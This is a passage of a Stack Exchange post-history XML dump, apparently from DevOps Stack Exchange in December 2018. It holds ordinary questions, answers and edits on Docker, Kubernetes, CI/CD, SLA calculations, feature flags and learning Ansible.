  <row Id="18224" PostHistoryTypeId="2" PostId="5698" RevisionGUID="de5596d0-65af-4ba7-a4c0-a5c1f1f11b01" CreationDate="2018-12-12T10:09:41.463" UserId="10" Text="Estimating is hard, but it is made easier with good record keeping.  &#xD;&#xA;Is there a known solution to tracking dev time on a ticket by making use of CI/CD to update JIRA tickets or the like with logged worked time, based on the time difference between first commit and final CD?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18225" PostHistoryTypeId="1" PostId="5698" RevisionGUID="de5596d0-65af-4ba7-a4c0-a5c1f1f11b01" CreationDate="2018-12-12T10:09:41.463" UserId="10" Text="Is it useful to track dev time with CI/CD?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18226" PostHistoryTypeId="3" PostId="5698" RevisionGUID="de5596d0-65af-4ba7-a4c0-a5c1f1f11b01" CreationDate="2018-12-12T10:09:41.463" UserId="10" Text="&lt;cicd&gt;&lt;capacity-planning&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18227" PostHistoryTypeId="2" PostId="5699" RevisionGUID="673d7535-a5b6-467d-a57b-6374bd97daf5" CreationDate="2018-12-12T11:03:08.657" UserId="10357" Text="I have launched kubernetes cluster using kubeadm with 1 master and 2 worker node. Is there any safe way to stop and start the entire cluster without disturbing deployments. &#xD;&#xA;&#xD;&#xA;If I restart the master VM directly, It shows most of system pods containers in a stopped state." ContentLicense="CC BY-SA 4.0" />
  <row Id="18228" PostHistoryTypeId="1" PostId="5699" RevisionGUID="673d7535-a5b6-467d-a57b-6374bd97daf5" CreationDate="2018-12-12T11:03:08.657" UserId="10357" Text="how to stop and start kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="18229" PostHistoryTypeId="3" PostId="5699" RevisionGUID="673d7535-a5b6-467d-a57b-6374bd97daf5" CreationDate="2018-12-12T11:03:08.657" UserId="10357" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18230" PostHistoryTypeId="2" PostId="5700" RevisionGUID="eb7ab1d9-b53d-4c10-b2d3-a52c259791a6" CreationDate="2018-12-12T12:05:49.093" UserId="11322" Text="I'm using Docker namespaces in an effort to allow files created within a volume to be arbitrarily read and written to by both the container user and the host user (please let me know if this is even a valid approach to what I'm trying to do!).&#xD;&#xA;&#xD;&#xA;My host username is `aryzing`. So I'm running the docker deamon as&#xD;&#xA;&#xD;&#xA;    dockerd --userns-remap=aryzing&#xD;&#xA;&#xD;&#xA;The volume maps my host's `~/workspace/app` to the volume's `/usr/src/app`.&#xD;&#xA;&#xD;&#xA;From the host system I have no issue modifying the files, but from within the container, I have access errors. Specifically, I'm running NPM's install command from within the container, `npm install`, and it's unable to install the packages due to a permissions error:&#xD;&#xA;&#xD;&#xA;    Error: EACCES: permission denied, access '/usr/src/app/node_modules'&#xD;&#xA;&#xD;&#xA;Any suggestions on how to achive the functionality I'm after?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18231" PostHistoryTypeId="1" PostId="5700" RevisionGUID="eb7ab1d9-b53d-4c10-b2d3-a52c259791a6" CreationDate="2018-12-12T12:05:49.093" UserId="11322" Text="How can container user and host user both have access to same files in volume?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18232" PostHistoryTypeId="3" PostId="5700" RevisionGUID="eb7ab1d9-b53d-4c10-b2d3-a52c259791a6" CreationDate="2018-12-12T12:05:49.093" UserId="11322" Text="&lt;docker&gt;&lt;linux&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18233" PostHistoryTypeId="5" PostId="5700" RevisionGUID="e334ffb3-d509-42bb-af2f-9c8788a6d2c4" CreationDate="2018-12-12T12:26:54.240" UserId="11322" Comment="Grammar" Text="I'm using Docker namespaces in an effort to allow files created within a volume to be arbitrarily read and written to by both the container user and the host user (please let me know if this is even a valid approach to what I'm trying to do!).&#xD;&#xA;&#xD;&#xA;My host username is `aryzing`. So I'm running the docker deamon as&#xD;&#xA;&#xD;&#xA;    dockerd --userns-remap=aryzing&#xD;&#xA;&#xD;&#xA;The volume maps my host's `~/workspace/app` to the volume's `/usr/src/app`.&#xD;&#xA;&#xD;&#xA;From the host system I have no issue modifying the files, but from within the container, I have access errors. Specifically, I'm running NPM's install command from within the container, `npm install`, and it's unable to install the packages due to a permissions error:&#xD;&#xA;&#xD;&#xA;    Error: EACCES: permission denied, access '/usr/src/app/node_modules'&#xD;&#xA;&#xD;&#xA;As per [this post](https://devops.stackexchange.com/questions/2342/using-docker-with-users-leaves-files-belonging-to-the-subuid-subgid) I've also tried running the container with the `--user` flag, and ran into the same issue.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to achive the functionality I'm after?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18234" PostHistoryTypeId="2" PostId="5701" RevisionGUID="bdfc1b65-2f52-4fbc-8b0e-7a819334030c" CreationDate="2018-12-12T12:46:29.723" UserId="11322" Text="I was tripping myself up: when I was trying the `--user` flag, I still had `--userns-remap` set. Running the daemon without this flag did the trick." ContentLicense="CC BY-SA 4.0" />
  <row Id="18235" PostHistoryTypeId="2" PostId="5702" RevisionGUID="3bbc4dad-0c6e-40fd-8cfe-e0a69b610257" CreationDate="2018-12-12T12:57:31.657" UserId="11324" Text="If you use CentOS 7 (as I have ). You may have SELinux turned on by default.check https://www.rootusers.com/how-to-enable-or-disable-selinux-in-centos-rhel-7/&#xD;&#xA;or mount like this: &#xD;&#xA;&#xD;&#xA;      volumes:&#xD;&#xA;       - ./database:/var/lib/mysql:Z&#xD;&#xA;       - ./_conf/mariadb.cnf:/etc/mysql/my.cnf:Z&#xD;&#xA;       - ./logs:/var/log/mysql:Z&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="18236" PostHistoryTypeId="5" PostId="5701" RevisionGUID="3208848b-ab75-41b5-92e8-b750b423162a" CreationDate="2018-12-12T14:08:16.557" UserId="11322" Comment="clarification" Text="I was tripping myself up: when I was trying the `--user` flag, I still had `--userns-remap` set. Running the daemon without `--userns-remap` did the trick." ContentLicense="CC BY-SA 4.0" />
  <row Id="18237" PostHistoryTypeId="2" PostId="5703" RevisionGUID="0d3c1ee1-14e8-41fc-bff7-7a17fa757a91" CreationDate="2018-12-12T14:11:16.370" UserId="11327" Text="Maybe is not a full resolution for you, but you can start with this:&#xD;&#xA;&#xD;&#xA;After the &quot;Critical Task&quot; add an &quot;Agentless job&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Add a &quot;Manual Intervention&quot; task&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;In the &quot;Additional options&quot; in the job specify &quot;Run this job - Only when a previous job has failed&quot;&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Ex1XG.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/UWRXW.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/oHVND.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18238" PostHistoryTypeId="5" PostId="5463" RevisionGUID="449b140e-a869-4609-95ef-1d044256bc94" CreationDate="2018-12-12T14:59:00.357" UserId="10868" Comment="grammatical adjustments" Text="It's actually a bad idea to run Docker as root. What you should do instead is add the Jenkins user to the Docker group. `sudo usermod -aG docker jenkins`. That will avoid opening needless security holes and allow Jenkins to do all that it needs to do with Docker, including running as root inside the containers. I do this regularly with my builds, using this as a sample:&#xD;&#xA;&#xD;&#xA;    stage ('Build Docker Image') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          // Build the Docker image for compiling&#xD;&#xA;          dockerImage = docker.build(&quot;myapp:v1&quot;)&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    stage ('Run UnitTests') {&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;          dockerImage.inside(&quot;-itu root&quot;) {&#xD;&#xA;            sh(script: &quot;nosetests app-test.py --verbose&quot;)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="18239" PostHistoryTypeId="2" PostId="5704" RevisionGUID="c3b65b66-b583-4930-914b-f6727bbe75b2" CreationDate="2018-12-12T15:47:03.650" UserId="9838" Text="Look this: &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #Get servers list&#xD;&#xA;    set -f&#xD;&#xA;    string=$DEPLOY_SERVER&#xD;&#xA;    array=(${string//,/ })&#xD;&#xA;    for i in &quot;${!array[@]}&quot;do    &#xD;&#xA;          echo &quot;Deploy project on server ${array[i]}&quot;    &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I found this [link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@lucabecchetti/autodeploy-from-gitlab-to-multiple-aws-ec2-instances-a43448727c5a" ContentLicense="CC BY-SA 4.0" />
  <row Id="18240" PostHistoryTypeId="5" PostId="5685" RevisionGUID="6907a419-b3eb-41d9-b7ee-41ad0762423b" CreationDate="2018-12-12T17:14:59.703" UserId="10599" Comment="clarified the language " Text="I am trying to create a GitHub workflow (not GitHub flow), where specific people will have merge only access to a branch in repo. &#xD;&#xA;I tried a few things, and I found that I can restrict users to read and write to repo. But read access wont have merge permission, and write will have too much , like committing directly to the branch. &#xD;&#xA;&#xD;&#xA;Is there any better way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18241" PostHistoryTypeId="4" PostId="5685" RevisionGUID="6907a419-b3eb-41d9-b7ee-41ad0762423b" CreationDate="2018-12-12T17:14:59.703" UserId="10599" Comment="clarified the language " Text="GitHub merge access" ContentLicense="CC BY-SA 4.0" />
  <row Id="18242" PostHistoryTypeId="24" PostId="5685" RevisionGUID="6907a419-b3eb-41d9-b7ee-41ad0762423b" CreationDate="2018-12-12T17:14:59.703" Comment="Proposed by 10599 approved by 40, 739 edit id of 884" ContentLicense="CC BY-SA 4.0" />
  <row Id="18243" PostHistoryTypeId="50" PostId="4306" RevisionGUID="e80b107b-66ca-4919-ba52-530b86238bb9" CreationDate="2018-12-12T18:03:25.777" UserId="-1" />
  <row Id="18244" PostHistoryTypeId="34" PostId="5632" RevisionGUID="13dee69a-5592-4f0d-a432-7586ff3f4f41" CreationDate="2018-12-12T18:08:39.920" UserDisplayName="user5176" Comment="32" />
  <row Id="18247" PostHistoryTypeId="2" PostId="5705" RevisionGUID="843409e5-951f-4c38-98ed-0da6f46bb9bf" CreationDate="2018-12-12T19:01:51.523" UserId="9838" Text="Have you heard about the [distroless?][1] &#xD;&#xA;See this [link][2] too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/GoogleContainerTools/distroless&#xD;&#xA;  [2]: https://github.com/phusion/baseimage-docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="18249" PostHistoryTypeId="50" PostId="3999" RevisionGUID="fbf3f967-e4a2-4fd6-8a4a-ddd58bc8f85b" CreationDate="2018-12-12T23:01:45.563" UserId="-1" />
  <row Id="18261" PostHistoryTypeId="2" PostId="5709" RevisionGUID="bff475f0-68ba-4fe7-9816-caa5980a07a3" CreationDate="2018-12-13T06:44:14.603" UserId="11337" Text="This is hypothetical question and not sure if it's already asked.&#xD;&#xA;&#xD;&#xA;There is possibility that client may want certain functionality or feature to be available based on certain season or specific date/time/zeo location. This could grow more complex based on code logic or database changes spreading or impacting to other screens/logical layers.&#xD;&#xA;&#xD;&#xA;How can a team handle above situation with CI/CD or DevOps as a process?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="18262" PostHistoryTypeId="1" PostId="5709" RevisionGUID="bff475f0-68ba-4fe7-9816-caa5980a07a3" CreationDate="2018-12-13T06:44:14.603" UserId="11337" Text="Release based on restricted timeline with CI/CD" ContentLicense="CC BY-SA 4.0" />
  <row Id="18263" PostHistoryTypeId="3" PostId="5709" RevisionGUID="bff475f0-68ba-4fe7-9816-caa5980a07a3" CreationDate="2018-12-13T06:44:14.603" UserId="11337" Text="&lt;continuous-deployment&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18265" PostHistoryTypeId="5" PostId="715" RevisionGUID="5a31f8c4-fb1e-43c6-9f7c-4c34391507a4" CreationDate="2018-12-13T08:38:42.183" UserId="13" Comment="Add Raj Rao's link from comment" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be `1 - 0,00099975 =  0,99900025` wich in percent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the product of the first probability: `0.9995 * 0.9995 = 0,99900025`.&#xD;&#xA;&#xD;&#xA;Applied to your 1h/24h outage (4,166666% of a day)  this gives (decimals are abbreviated):&#xD;&#xA;&#xD;&#xA;    0.0416 + 0.0416 - (0.0416 * 0.0416) = 0,081597222&#xD;&#xA;&#xD;&#xA;So the probability of being OK is `1 - 0.0816 = 0.9184` in percent: `91,84%`&#xD;&#xA;&#xD;&#xA;    24 * 0.0816 = 1.95 h&#xD;&#xA;&#xD;&#xA;This is less than the worst case of 2 hours because there's a chance both are down at the same time.&#xD;&#xA;&#xD;&#xA;Keeping that in mind, you may notice the availability for each is `95,84%` and `0,958333333 * 0,958333333 = 0,918402778` which is our `91.84%` from above (sorry for the full decimals here, but they are needed for the demonstration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now for your second case, we'll start gain from our compound probability for each region (Sorry I dismissed the change for SQL to keep it reasonable), assuming there's no independent probability for the region itself and that each region is isolated and as such a DB failure take only its region down.&#xD;&#xA;&#xD;&#xA;We have the traffic manager OK probability `P(T) = 0.9999` and each app+DB couple with a OK probability `P(G) = 0,99900025` from &#xD;&#xA;&#xD;&#xA;How much region we have play a role as we have to apply the product of failure probability only to get the probability both region are down as the same time:  &#xD;&#xA;`0,00099975 * 0,00099975 = 0,0000009995000625` which means an overall availability of at least one region of `99,049375 %` &#xD;&#xA;&#xD;&#xA;Now we have the overall regions availability, the product with the traffic manager one give us the overall availability of the system:&#xD;&#xA;&#xD;&#xA;    0.9999 * 0,9999990004999375 = 0,99989900059988750625&#xD;&#xA;&#xD;&#xA;The overall availability is `99.989900 %` &#xD;&#xA;&#xD;&#xA;Another source as explanation is available on [Azure's docs](https://docs.microsoft.com/en-us/azure/architecture/resiliency/#composite-slas) (link courtesy of [Raj Rao](https://devops.stackexchange.com/users/11333/raj-rao))&#xD;&#xA; &#xD;&#xA;[1]: https://en.wikipedia.org/wiki/Probability#Mathematical_treatment" ContentLicense="CC BY-SA 4.0" />
  <row Id="18266" PostHistoryTypeId="2" PostId="5710" RevisionGUID="b28088dd-6cf8-4054-8eac-b9463d3656a9" CreationDate="2018-12-13T11:54:12.320" UserId="11342" Text="You can maintain your data while stopping the master if you have persistent volumes attached, this is especially the case when using GKE google Kubernetes engine. But if you wanted to keep your services running while completely stopping a master that would require High Availability, Allowing one master node to take over the responsibility of another master which is clustering. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18267" PostHistoryTypeId="2" PostId="5711" RevisionGUID="a840bfe9-4487-429a-afc2-2d05a6481ecb" CreationDate="2018-12-13T11:57:41.583" UserId="739" Text="I'm happy to presume [jdog is right](https://devops.stackexchange.com/a/5523/739) about his performance advice for PHP.  PHP is not something I've ever tried to make perform.  But one point that wasn't made is that you can:&#xD;&#xA;&#xD;&#xA;# test it yourself&#xD;&#xA;&#xD;&#xA;1. Fire up a VirtualBox instance on your desktop with the specs you're aiming for.&#xD;&#xA;2. Put the software in there and see how it runs.&#xD;&#xA;3. Run a performance test and see if it can handle a load that is useful to you.&#xD;&#xA;4. If not, then adjust memory or CPU and try again.  If it works, then profit.&#xD;&#xA;&#xD;&#xA;This seems like a lot of work to some and really easy to other people, but it isn't something that somebody else can do for you.  Even if we put the same software on the same spec'd box we might install it differently.  Or we might put different content in, or test it differently.  If you want a definitive answer for your work load then go and try it out.  This site and ServerFault and such can help you find out how to do that in more detail, but we can't predict perfectly how it will work out for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="18268" PostHistoryTypeId="2" PostId="5712" RevisionGUID="d2b04fc5-e67e-4ecd-bd0c-a3aa8a0358c9" CreationDate="2018-12-13T12:19:59.670" UserId="47" Text="[Branch-by-abstraction][1] and [tag:feature-flags]/[tag:feature-toggles] are the typical techniques allowing development of any combinations of features in various degrees of readiness in the same branch. For a proper CI/CD approach that should be the `main`/`master` branch. Each feature being developed can be tested independently by turning the respective flag on or off. &quot;Releasing&quot; the feature in that branch simply means that the respective flag is enabled in the source code&#xD;&#xA;&#xD;&#xA;To be effective, all the relevant combinations of the feature flags' values should be subjected to the respective CI/CD QA verifications in this branch. The complication, of course, is the number of such combinations which can cause cost/time &quot;explosions&quot; in these verifications, especially in large scale projects with many features.&#xD;&#xA;&#xD;&#xA;Grouping multiple feature flags under a single &quot;super-flag&quot; is an effective method of reducing the number of such relevant combinations. Turning on (in the code base) these super-flags are often time-driven according to a release schedule. Which can be either periodical or based on certain specified/seasonal time/dates, it doesn't really matter (as long the respective features meet the expected quality level by that time, of course, but that's a different discussion).&#xD;&#xA;&#xD;&#xA;Turning on the super-flags is all that's needed for the software products that are continuously deployed. But for the products which can't be continuously deployed (like OSes or most of the embedded software products) release branches in which only the super flag(s) (or directly feature flags) applicable to the respective releases are enabled is the typical way to keep the release time/costs under control. They can also serve as the CI/CD branch vehicles for subsequent hot fixes, service packs and/or minor releases. &#xD;&#xA;&#xD;&#xA;Release branches would be pulled off the main/master branch (or parent major release branch) whenever the quality level is good enough for the very next release and trouble to support the delta to the 2nd next release remains acceptable (as soon as the branch for the next release is pulled the parent branch can diverge, heading towards the 2nd next release).&#xD;&#xA;&#xD;&#xA;And no, release branches aren't (necessarily) evil: they are not feature branches and they can completely avoid any massive branch sync/reparent/merge operation, thus remaining true to the CI principles.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/BranchByAbstraction.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18269" PostHistoryTypeId="2" PostId="5713" RevisionGUID="4e56720e-2079-42ee-a52f-0d1d9dbc6d6a" CreationDate="2018-12-13T13:56:56.790" UserId="11344" Text="Apologies for being such a basic question, but all the resources I've found seem to take this knowledge for granted - I'm brand new to docker and containetisation in general.&#xD;&#xA;&#xD;&#xA;Today, when opening a program for a project say RStudio, Jupyter Notebook, Spyder or an IPython Console, I'd run the bash script in anaconda3/bin either from a custom menu item or Anaconda Navigator or just the terminal. How does this work with Docker? If I'm using a Docker container for my project and install anaconda and the other packages I use, is there a folder within the container containing the bash scripts or does it link to bash scripts installed on my system or something else? " ContentLicense="CC BY-SA 4.0" />
  <row Id="18270" PostHistoryTypeId="1" PostId="5713" RevisionGUID="4e56720e-2079-42ee-a52f-0d1d9dbc6d6a" CreationDate="2018-12-13T13:56:56.790" UserId="11344" Text="How/where are programs installed in Docker containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18271" PostHistoryTypeId="3" PostId="5713" RevisionGUID="4e56720e-2079-42ee-a52f-0d1d9dbc6d6a" CreationDate="2018-12-13T13:56:56.790" UserId="11344" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18272" PostHistoryTypeId="2" PostId="5714" RevisionGUID="e4e0b195-0f63-4dd3-8b4b-fcacc9dc7b53" CreationDate="2018-12-13T15:14:23.017" UserId="707" Text="and welcome to DevOps SE and Docker!&#xD;&#xA;&#xD;&#xA;Now the concept of Docker is to create isolated virtual  environments, actually it's just a process or more but wrapped in its own environment.&#xD;&#xA;&#xD;&#xA;So at first hand you could take any Docker image and the scripts inside would be there where the creators of the image placed them.&#xD;&#xA;&#xD;&#xA;If you decide to create your own Docker images, and I believe you will sooner or later, then it is up to you how layout the system.&#xD;&#xA;&#xD;&#xA;Additionally, you could link - proper term is mount - your system's folders with those of the container but still the execution will take place inside the container.&#xD;&#xA;&#xD;&#xA;If this explanations does not help, please provide more details of what exactly you try to achieve." ContentLicense="CC BY-SA 4.0" />
  <row Id="18273" PostHistoryTypeId="2" PostId="5715" RevisionGUID="354c1892-0b4e-4e10-8b64-bd3ec39a1eb6" CreationDate="2018-12-13T15:28:44.167" UserId="11347" Text="I have a PostgreSQL database that requires a server side script to be executed (client prefers php) to:&#xD;&#xA;&#xD;&#xA; - Perform some intelligent data modifications to records that will be&#xD;&#xA;   identified  only during the update. &#xD;&#xA; - Update specific functions for a&#xD;&#xA;   dynamically identified list of schemas. &#xD;&#xA; - Generate a static rollback&#xD;&#xA;   script/data based upon what is being modified.&#xD;&#xA;&#xD;&#xA;I am hoping to integrate it with gitflow like process to allow for some control and visibility as in the past these types of changes were done manually.  I've been looking for something similar to libraries like phpunit to avoid reinventing.&#xD;&#xA;&#xD;&#xA;Are there any scripting libraries or tools that can serve as a starting point. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18274" PostHistoryTypeId="1" PostId="5715" RevisionGUID="354c1892-0b4e-4e10-8b64-bd3ec39a1eb6" CreationDate="2018-12-13T15:28:44.167" UserId="11347" Text="One time database update process as part of applying a patch" ContentLicense="CC BY-SA 4.0" />
  <row Id="18275" PostHistoryTypeId="3" PostId="5715" RevisionGUID="354c1892-0b4e-4e10-8b64-bd3ec39a1eb6" CreationDate="2018-12-13T15:28:44.167" UserId="11347" Text="&lt;continuous-integration&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18276" PostHistoryTypeId="5" PostId="5714" RevisionGUID="a920eb1b-f670-4785-9a03-b60bcbe1134f" CreationDate="2018-12-13T15:30:18.193" UserId="707" Comment="added 3 characters in body" Text="Hi and welcome to DevOps SE and Docker!&#xD;&#xA;&#xD;&#xA;Now the concept of Docker is to create isolated virtual  environments, actually it's just a process or more but wrapped in its own environment.&#xD;&#xA;&#xD;&#xA;So at first hand you could take any Docker image and the scripts inside would be there where the creators of the image placed them.&#xD;&#xA;&#xD;&#xA;If you decide to create your own Docker images, and I believe you will sooner or later, then it is up to you how layout the system.&#xD;&#xA;&#xD;&#xA;Additionally, you could link - proper term is mount - your system's folders with those of the container but still the execution will take place inside the container.&#xD;&#xA;&#xD;&#xA;If this explanations does not help, please provide more details of what exactly you try to achieve." ContentLicense="CC BY-SA 4.0" />
  <row Id="18281" PostHistoryTypeId="10" PostId="5629" RevisionGUID="fbef5d6f-5bee-44f8-96ca-d6f4079161b2" CreationDate="2018-12-13T15:56:58.867" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:7730,&quot;DisplayName&quot;:&quot;BMitch&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="18282" PostHistoryTypeId="50" PostId="2640" RevisionGUID="5c6fffc3-0d33-4bed-aea6-a008a29e7f6b" CreationDate="2018-12-13T16:02:25.497" UserId="-1" />
  <row Id="18283" PostHistoryTypeId="5" PostId="5652" RevisionGUID="bc1db332-12b2-4ae4-a115-ae8ded180028" CreationDate="2018-12-13T16:14:44.663" UserId="10599" Comment="added 17 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering Ansible means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minute guide&quot;. Blogs or videos take hours or days of effort but books take months or years. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xD;&#xA;&#xD;&#xA;The rest of this answer says why Ansible for Devops has early chapters on setting up a vagrant lab locally for testing. &#xD;&#xA;&#xD;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xD;&#xA;&#xD;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's unlikely readers of the book are going to be able to master Ansible. Would you want to try to master a programming language that doesn’t run on your laptop?&#xD;&#xA;&#xD;&#xA;If you work on physical or virtual machines with Ansible at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xD;&#xA;&#xD;&#xA;People might ask &quot;what's that to do with me as I don't have those issues”. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as final testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't set up but once they are you will be flying. &#xD;&#xA;&#xD;&#xA;Mastering anything in the devops space isn't about &quot;I finally got it working&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to locally test against a multi server laboratory on your laptop. &#xD;&#xA;&#xD;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop. It will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18284" PostHistoryTypeId="5" PostId="5652" RevisionGUID="746b79ba-8d25-4f19-afb1-258053683039" CreationDate="2018-12-13T16:14:44.727" UserId="10599" Comment="added 17 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering Ansible means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minute guide&quot;. Blogs or videos take hours or days of effort but books take months or years. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xD;&#xA;&#xD;&#xA;The rest of this answer says why Ansible for Devops has early chapters on setting up a vagrant lab locally for testing. &#xD;&#xA;&#xD;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xD;&#xA;&#xD;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's unlikely readers of the book are going to be able to master Ansible. Would you want to try to master a programming language that doesn’t run on your laptop?&#xD;&#xA;&#xD;&#xA;If you work on physical or virtual machines with Ansible at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xD;&#xA;&#xD;&#xA;People might ask &quot;what's that to do with me as I don't have those issues”. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as final testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't set up but once they are you will be flying. &#xD;&#xA;&#xD;&#xA;Mastering anything in the devops space isn't about &quot;I finally got it working&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to locally test against a multi server laboratory on your laptop. &#xD;&#xA;&#xD;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop. It will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme 